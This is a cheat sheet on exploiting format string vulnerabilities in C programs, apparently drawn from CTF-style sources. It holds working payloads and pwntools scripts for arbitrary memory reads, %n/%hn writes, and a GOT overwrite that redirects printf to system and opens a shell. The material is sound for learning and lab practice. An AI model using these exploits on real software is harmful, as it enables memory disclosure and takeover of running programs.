Binary Exploitation

Format String Vulnerabilities

Format string vulnerability exploitation including reading from and writing to arbitrary memory addresses using printf format specifiers.

Contents

Format String Vulnerabilities

Sources: HackTricks - Format Strings | Crypto-Cat: Format String Vulns


What is a Format String Vulnerability?

Occurs when user input is passed directly as a format string to printf(), sprintf(), fprintf(), etc.

// VULNERABLE
printf(user_input);

// SAFE
printf("%s", user_input);

Format Specifiers Reference

%x    — hex (4 bytes on 32-bit)
%08x  — hex padded to 8 chars
%p    — pointer (hex with 0x prefix)
%d    — signed decimal
%u    — unsigned decimal
%s    — string (dereference pointer, print until NULL)
%n    — WRITE number of bytes printed so far to address
%hn   — write 2 bytes (half word)
%hhn  — write 1 byte
%<n>$x — direct parameter access (e.g., %6$x = 6th param)

Exploitation: Arbitrary Read

Leaking Stack Values

# Leak values off the stack
echo 'AAAA.%x.%x.%x.%x.%x.%x.%x.%x' | ./vuln

# Direct access - leak the Nth param
echo '%6$x' | ./vuln

Leaking Arbitrary Addresses (read memory)

from pwn import *

p = process('./vuln')

# Read string at address 0x8048000
payload = b'%6$s'          # 4th param (account for padding)
payload += b'xxxx'          # padding to align
payload += p32(0x8048000)   # 6th param = target address

p.sendline(payload)
print(p.clean())

Finding Your Offset

# Send 'AAAA' and find where it appears
echo 'AAAA%1$x.%2$x.%3$x.%4$x.%5$x.%6$x.%7$x.%8$x' | ./vuln
# Look for 41414141 in output — that's your offset

Exploitation: Arbitrary Write

The %n Write Primitive

%n writes the number of bytes printed so far to the address pointed to by the parameter.

AAAA%.6000d%4$n  → writes 6004 to address at 4th param

Writing Specific Values (2 bytes at a time with %hn)

Since writing huge numbers byte-by-byte is impractical, use %hn to write 2 bytes at a time:

HOB = High Order Bytes (upper 2 bytes of target value)
LOB = Low Order Bytes  (lower 2 bytes of target value)

If HOB < LOB:
  [addr+2][addr]%.[HOB-8]x%[offset]$hn%.[LOB-HOB]x%[offset+1]$hn

If HOB > LOB:
  [addr+2][addr]%.[LOB-8]x%[offset+1]$hn%.[HOB-LOB]x%[offset]$hn

Pwntools Automation

GOT Overwrite (replace printfsystem)

from pwn import *

elf = context.binary = ELF('./vuln')
libc = elf.libc
libc.address = 0xf7dc2000  # if ASLR disabled

p = process()

# fmtstr_payload(offset, {target_addr: value_to_write})
payload = fmtstr_payload(5, {elf.got['printf']: libc.sym['system']})
p.sendline(payload)
p.clean()

p.sendline('/bin/sh')
p.interactive()

Generic Format String Leak Script

from pwn import *

# Crypto-Cat's format string flag leak script
def leak_stack(p, offset_start=1, offset_end=50):
    for i in range(offset_start, offset_end):
        p = process('./vuln')
        p.sendline(f'%{i}$p'.encode())
        result = p.recvline()
        print(f"Offset {i}: {result}")
        p.close()

Common Targets for Writes

TargetPurpose
GOT entry of printf/putsRedirect to system()
GOT entry of exitLoop back to vulnerable function
.fini_arrayExecute on program exit
Return address on stackDirect control flow hijack
Stack canary locationBypass canary check

Useful Reads

  • Leak canary → bypass stack protection
  • Leak libc address from GOT → defeat ASLR
  • Leak PIE base → defeat PIE
  • Leak stack address → find buffer location for shellcode

References